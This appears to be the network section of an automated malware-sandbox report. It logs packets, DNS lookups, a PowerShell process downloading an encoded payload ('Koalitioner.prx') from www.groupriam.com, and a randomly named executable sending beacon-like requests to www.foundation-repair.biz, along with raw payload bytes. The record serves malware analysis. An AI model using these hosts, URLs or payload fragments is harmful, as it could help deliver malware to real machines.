Oct 22, 2024 15:32:16.107152939 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.107187986 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.223885059 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.223912001 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.223980904 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.223994017 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.224059105 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.341291904 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.341320992 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.341391087 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.341399908 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.341445923 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.458374023 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.458390951 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.458453894 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.458460093 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.458512068 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.501586914 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.501616001 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.501677990 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.501692057 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.501718998 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.501740932 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.618659019 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.618680954 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.618742943 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.618757010 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.618788004 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.618798971 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.693434954 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.693470001 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.693613052 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.693623066 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.693737030 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.810198069 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.810226917 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.810292959 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.810308933 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.810342073 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.810357094 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.895541906 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.895562887 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.895720005 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.895730972 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.897047043 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.970129967 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.970154047 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.970252037 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.970262051 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.970300913 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.057518005 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.057540894 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.057760954 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.057773113 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.057874918 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.161364079 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.161390066 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.161559105 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.161571026 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.161696911 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.204344034 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.204368114 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.204447985 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.204456091 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.204518080 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.292295933 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.292341948 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.292460918 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.292469978 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.292633057 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.364007950 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.364027977 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.364099026 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.364105940 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.364140034 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.438437939 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.438453913 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.438520908 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.438527107 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.438560963 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.512746096 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.512775898 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.512907028 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.512919903 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.514182091 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.526659012 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.526735067 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:17.526751041 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.526793957 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.526854038 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:17.526865959 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:33:07.659739971 CEST	50003	80	192.168.2.5	199.59.243.227
Oct 22, 2024 15:33:07.665122986 CEST	80	50003	199.59.243.227	192.168.2.5
Oct 22, 2024 15:33:07.665205002 CEST	50003	80	192.168.2.5	199.59.243.227
Oct 22, 2024 15:33:07.672292948 CEST	50003	80	192.168.2.5	199.59.243.227
Oct 22, 2024 15:33:07.677692890 CEST	80	50003	199.59.243.227	192.168.2.5
Oct 22, 2024 15:33:08.302416086 CEST	80	50003	199.59.243.227	192.168.2.5
Oct 22, 2024 15:33:08.302476883 CEST	80	50003	199.59.243.227	192.168.2.5
Oct 22, 2024 15:33:08.302661896 CEST	50003	80	192.168.2.5	199.59.243.227
Oct 22, 2024 15:33:08.302994967 CEST	80	50003	199.59.243.227	192.168.2.5
Oct 22, 2024 15:33:08.303055048 CEST	50003	80	192.168.2.5	199.59.243.227
Oct 22, 2024 15:33:08.306149006 CEST	50003	80	192.168.2.5	199.59.243.227
Oct 22, 2024 15:33:08.311580896 CEST	80	50003	199.59.243.227	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 22, 2024 15:31:17.011495113 CEST	65419	53	192.168.2.5	1.1.1.1
Oct 22, 2024 15:31:17.027180910 CEST	53	65419	1.1.1.1	192.168.2.5
Oct 22, 2024 15:31:20.474730968 CEST	61890	53	192.168.2.5	1.1.1.1
Oct 22, 2024 15:31:20.549321890 CEST	53	61890	1.1.1.1	192.168.2.5
Oct 22, 2024 15:33:07.529012918 CEST	59087	53	192.168.2.5	1.1.1.1
Oct 22, 2024 15:33:07.653238058 CEST	53	59087	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 22, 2024 15:31:17.011495113 CEST	192.168.2.5	1.1.1.1	0xf168	Standard query (0)	gormezl_6777.6777.6777.677e	A (IP address)	IN (0x0001)	false
Oct 22, 2024 15:31:20.474730968 CEST	192.168.2.5	1.1.1.1	0x18bd	Standard query (0)	www.groupriam.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 15:33:07.529012918 CEST	192.168.2.5	1.1.1.1	0xca58	Standard query (0)	www.foundation-repair.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 22, 2024 15:31:17.027180910 CEST	1.1.1.1	192.168.2.5	0xf168	Name error (3)	gormezl_6777.6777.6777.677e	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 15:31:20.549321890 CEST	1.1.1.1	192.168.2.5	0x18bd	No error (0)	www.groupriam.com	groupriam.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 15:31:20.549321890 CEST	1.1.1.1	192.168.2.5	0x18bd	No error (0)	groupriam.com		199.103.62.205	A (IP address)	IN (0x0001)	false
Oct 22, 2024 15:33:07.653238058 CEST	1.1.1.1	192.168.2.5	0xca58	No error (0)	www.foundation-repair.biz		199.59.243.227	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.groupriam.com

www.foundation-repair.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	50003	199.59.243.227	80	2576	C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 15:33:07.672292948 CEST	563	OUT	GET /enra/?mxv=bBN4&XFtPf6=EuJScojaXV9tkcwLe9A6ZNdie4KkCxAOd2jPPlI8uN15nuMsourZ6RcE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzR3lGN8BbnO4B13xmkasr+DtvmANIh/JvA8i/3xstHKmsaw== HTTP/1.1 Host: www.foundation-repair.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Oct 22, 2024 15:33:08.302416086 CEST	1236	IN	HTTP/1.1 200 OK date: Tue, 22 Oct 2024 13:33:07 GMT content-type: text/html; charset=utf-8 content-length: 1506 x-request-id: 44f578de-996e-443a-9cbd-108e82ba86f8 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_yV7ZIeh2FNb0qJFoZYuuW50+lBDt4N9KPKkfB7p7cP8+jIYbunUuB6qp8AXW4dq5bmQ44kmZexgkr0mpCrS0JQ== set-cookie: parking_session=44f578de-996e-443a-9cbd-108e82ba86f8; expires=Tue, 22 Oct 2024 13:48:08 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 79 56 37 5a 49 65 68 32 46 4e 62 30 71 4a 46 6f 5a 59 75 75 57 35 30 2b 6c 42 44 74 34 4e 39 4b 50 4b 6b 66 42 37 70 37 63 50 38 2b 6a 49 59 62 75 6e 55 75 42 36 71 70 38 41 58 57 34 64 71 35 62 6d 51 34 34 6b 6d 5a 65 78 67 6b 72 30 6d 70 43 72 53 30 4a 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_yV7ZIeh2FNb0qJFoZYuuW50+lBDt4N9KPKkfB7p7cP8+jIYbunUuB6qp8AXW4dq5bmQ44kmZexgkr0mpCrS0JQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 22, 2024 15:33:08.302476883 CEST	959	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDRmNTc4ZGUtOTk2ZS00NDNhLTljYmQtMTA4ZTgyYmE4NmY4IiwicGFnZV90aW1lIjoxNzI5NjAzOT

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49718	199.103.62.205	443	7156	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 13:31:21 UTC	176	OUT	GET /Koalitioner.prx HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: www.groupriam.com Connection: Keep-Alive
2024-10-22 13:31:21 UTC	422	IN	HTTP/1.1 200 OK Connection: close content-type: application/octet-stream last-modified: Mon, 21 Oct 2024 13:43:55 GMT accept-ranges: bytes content-length: 494360 date: Tue, 22 Oct 2024 13:31:21 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-10-22 13:31:21 UTC	16384	IN	Data Raw: 63 51 47 62 63 51 47 62 75 37 75 4c 44 41 42 78 41 5a 76 72 41 70 4b 52 41 31 77 6b 42 4f 73 43 78 6c 46 78 41 5a 75 35 33 4c 68 73 4b 4f 73 43 6a 65 70 78 41 5a 75 42 38 5a 2b 77 75 72 44 72 41 75 79 30 36 77 4a 6a 79 59 48 70 51 77 6a 57 6d 48 45 42 6d 33 45 42 6d 2b 73 43 37 36 48 72 41 68 52 74 75 68 30 54 4d 4f 72 72 41 70 4b 59 36 77 4b 43 6b 65 73 43 70 52 5a 78 41 5a 73 78 79 75 73 43 6e 58 54 72 41 70 78 64 69 52 51 4c 36 77 4b 41 46 58 45 42 6d 39 48 69 36 77 4c 49 2f 48 45 42 6d 34 50 42 42 4f 73 43 37 2b 31 78 41 5a 75 42 2b 51 58 6e 54 51 4a 38 79 75 73 43 48 66 6e 72 41 68 32 76 69 30 51 6b 42 4f 73 43 55 41 72 72 41 69 79 6a 69 63 4e 78 41 5a 74 78 41 5a 75 42 77 35 76 30 74 77 48 72 41 6e 6c 56 63 51 47 62 75 72 72 79 2b 43 2f 72 41 70 69 Data Ascii: cQGbcQGbu7uLDABxAZvrApKRA1wkBOsCxlFxAZu53LhsKOsCjepxAZuB8Z+wurDrAuy06wJjyYHpQwjWmHEBm3EBm+sC76HrAhRtuh0TMOrrApKY6wKCkesCpRZxAZsxyusCnXTrApxdiRQL6wKAFXEBm9Hi6wLI/HEBm4PBBOsC7+1xAZuB+QXnTQJ8yusCHfnrAh2vi0QkBOsCUArrAiyjicNxAZtxAZuBw5v0twHrAnlVcQGburry+C/rApi
2024-10-22 13:31:22 UTC	16384	IN	Data Raw: 57 6b 62 53 6b 2b 65 76 6b 6e 39 42 56 63 47 6d 4c 39 39 4f 7a 35 39 6a 4a 68 6a 43 44 6b 78 67 44 2b 47 74 34 4d 78 4c 57 71 30 76 6f 38 4b 6a 45 32 48 4e 5a 43 75 6a 7a 57 51 72 6f 38 31 6b 4b 36 50 4e 5a 43 75 6a 7a 57 51 72 6f 7a 4a 78 4b 68 4e 6f 78 78 54 38 36 74 51 55 78 34 56 4e 76 74 41 78 63 38 72 56 79 72 4b 65 53 69 6f 53 51 66 37 50 4b 35 66 30 63 69 78 67 44 37 48 6c 33 50 5a 32 49 39 73 69 4f 6f 64 5a 53 45 48 74 48 46 39 52 72 4d 78 45 41 75 38 65 37 54 72 6f 6d 61 46 4d 43 58 46 66 4f 68 33 30 41 70 6d 4e 6a 50 4e 4f 43 6d 39 76 6f 34 70 30 4b 45 44 67 4b 36 50 4e 4e 70 46 35 46 63 4a 66 49 6a 2f 7a 47 39 37 46 35 64 6d 6d 75 4c 39 58 4b 73 65 49 35 64 31 2f 34 43 49 59 65 47 6e 37 64 51 6e 68 30 47 51 68 64 56 32 68 77 4e 33 38 52 42 6d Data Ascii: WkbSk+evkn9BVcGmL99Oz59jJhjCDkxgD+Gt4MxLWq0vo8KjE2HNZCujzWQro81kK6PNZCujzWQrozJxKhNoxxT86tQUx4VNvtAxc8rVyrKeSioSQf7PK5f0cixgD7Hl3PZ2I9siOodZSEHtHF9RrMxEAu8e7TromaFMCXFfOh30ApmNjPNOCm9vo4p0KEDgK6PNNpF5FcJfIj/zG97F5dmmuL9XKseI5d1/4CIYeGn7dQnh0GQhdV2hwN38RBm
2024-10-22 13:31:22 UTC	16384	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-22 13:31:22 UTC	16384	IN	Data Raw: 4e 71 6b 4f 38 37 7a 56 50 52 67 58 30 47 71 38 48 32 38 31 69 4b 49 6d 58 6f 66 6b 33 6b 64 61 33 2f 31 79 76 55 6e 61 69 56 4b 44 32 7a 4c 70 53 45 42 4d 55 41 39 2b 6d 44 52 74 49 73 6c 41 50 55 67 32 31 71 71 6e 36 53 48 4e 39 79 2b 4d 30 74 58 4a 5a 4b 49 65 77 57 59 72 6f 30 53 6a 66 43 68 77 61 43 6d 6a 7a 54 65 51 39 64 37 78 2b 79 49 2b 55 35 31 31 6d 65 58 41 51 72 49 53 69 69 49 4f 36 7a 66 43 79 2b 58 59 69 36 6c 4b 77 69 72 2b 58 39 68 2f 4a 68 6d 4c 6d 79 54 32 75 7a 36 75 30 32 4c 31 58 48 37 5a 64 6f 6b 61 2f 45 44 55 36 4f 44 57 42 4c 6f 61 4f 78 44 2b 34 32 50 54 78 4d 66 53 58 7a 70 77 53 2b 4e 33 4b 4b 4e 45 32 66 47 69 7a 57 52 38 48 4d 73 45 41 78 35 4d 69 39 55 6c 45 70 4b 71 5a 46 55 70 79 59 39 4d 6f 30 74 35 47 57 68 39 50 30 53 Data Ascii: NqkO87zVPRgX0Gq8H281iKImXofk3kda3/1yvUnaiVKD2zLpSEBMUA9+mDRtIslAPUg21qqn6SHN9y+M0tXJZKIewWYro0SjfChwaCmjzTeQ9d7x+yI+U511meXAQrISiiIO6zfCy+XYi6lKwir+X9h/JhmLmyT2uz6u02L1XH7Zdoka/EDU6ODWBLoaOxD+42PTxMfSXzpwS+N3KKNE2fGizWR8HMsEAx5Mi9UlEpKqZFUpyY9Mo0t5GWh9P0S
2024-10-22 13:31:22 UTC	16384	IN	Data Raw: 66 54 39 45 67 69 4b 6c 55 46 7a 72 30 75 32 37 78 56 4d 35 7a 6d 66 74 68 35 56 67 51 42 7a 43 6e 37 44 62 53 48 2f 4f 64 31 77 6b 57 6a 36 32 69 61 46 6a 62 39 57 74 38 6a 33 38 76 6f 55 2b 74 46 38 64 73 74 35 38 4a 52 4e 61 33 4b 76 6c 30 4c 38 31 4f 71 39 4e 6c 65 33 74 39 5a 37 66 48 38 75 39 61 61 70 51 45 63 2b 45 44 30 79 6e 6e 69 67 6c 58 61 70 67 47 4f 51 31 6f 55 79 6e 43 51 4c 55 52 71 4b 34 2f 37 79 6d 4c 72 41 43 4c 62 6e 68 51 2b 6c 7a 57 74 35 30 44 30 53 42 51 37 6a 46 4c 4e 47 49 4e 47 2b 65 51 46 42 5a 43 49 38 48 7a 6e 4d 43 42 75 59 33 65 69 58 2b 56 68 41 6e 6f 7a 44 64 6c 75 2b 65 31 4d 39 6b 4b 30 76 45 7a 53 6d 6a 41 62 4f 30 43 32 71 75 31 59 4d 34 59 4a 68 59 63 52 2b 4c 35 46 46 59 70 67 4f 41 63 41 4f 6b 4e 50 49 41 61 42 6d Data Ascii: fT9EgiKlUFzr0u27xVM5zmfth5VgQBzCn7DbSH/Od1wkWj62iaFjb9Wt8j38voU+tF8dst58JRNa3Kvl0L81Oq9Nle3t9Z7fH8u9aapQEc+ED0ynniglXapgGOQ1oUynCQLURqK4/7ymLrACLbnhQ+lzWt50D0SBQ7jFLNGING+eQFBZCI8HznMCBuY3eiX+VhAnozDdlu+e1M9kK0vEzSmjAbO0C2qu1YM4YJhYcR+L5FFYpgOAcAOkNPIAaBm
2024-10-22 13:31:22 UTC	16384	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 4e 79 54 45 79 63 6a 36 62 52 54 53 59 65 37 5a 61 6b 7a 32 51 72 49 6e 44 49 4b 36 50 4e 37 53 75 6a 7a 57 75 76 53 53 69 62 31 42 78 65 4c 6b 4a 34 39 5a 47 71 5a 47 6f 65 58 71 69 72 58 65 6f 69 49 76 4e 4d 4b 39 7a 6c 78 44 79 51 4d 76 37 46 39 4c 55 71 57 30 62 5a 4c 4b 48 4e 5a 42 4a 6f 53 5a 47 71 57 4c 58 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABNyTEycj6bRTSYe7Zakz2QrInDIK6PN7SujzWuvSSib1BxeLkJ49ZGqZGoeXqirXeoiIvNMK9zlxDyQMv7F9LUqW0bZLKHNZBJoSZGqWLX
2024-10-22 13:31:22 UTC	16384	IN	Data Raw: 4b 36 4f 34 6b 32 6c 6b 7a 37 68 4a 64 73 63 7a 6c 42 58 49 4b 79 55 69 4d 76 6f 72 6f 38 31 72 70 78 4c 4f 59 43 76 38 54 47 59 30 34 50 71 79 72 6d 4a 4d 54 68 68 50 76 6d 79 71 69 63 4b 6e 61 46 34 4b 34 65 2b 69 7a 57 51 47 67 38 42 73 72 30 56 4d 30 65 2b 69 7a 57 51 36 39 37 44 63 71 68 59 4a 5a 53 75 6a 4c 30 44 79 74 45 7a 52 37 36 4c 4e 5a 50 62 7a 5a 4d 4e 70 58 45 43 67 4b 71 50 4e 45 64 7a 68 43 6d 5a 37 4e 46 79 38 71 71 47 6d 55 7a 6c 66 53 59 4f 71 6b 57 73 76 49 2f 70 49 72 48 67 59 75 68 76 2f 34 6b 79 66 68 61 50 4e 5a 43 51 74 6a 57 63 76 6f 35 62 6c 47 61 32 72 77 6d 70 56 44 79 58 73 4a 76 52 6d 4b 36 4e 37 65 6c 2b 73 54 4e 45 53 6f 63 31 6b 6c 57 4f 69 35 6f 4d 48 54 4e 45 53 6f 63 31 6b 50 50 32 4a 33 4b 72 65 75 61 4e 58 6f 38 31 Data Ascii: K6O4k2lkz7hJdsczlBXIKyUiMvoro81rpxLOYCv8TGY04PqyrmJMThhPvmyqicKnaF4K4e+izWQGg8Bsr0VM0e+izWQ697DcqhYJZSujL0DytEzR76LNZPbzZMNpXECgKqPNEdzhCmZ7NFy8qqGmUzlfSYOqkWsvI/pIrHgYuhv/4kyfhaPNZCQtjWcvo5blGa2rwmpVDyXsJvRmK6N7el+sTNESoc1klWOi5oMHTNESoc1kPP2J3KreuaNXo81
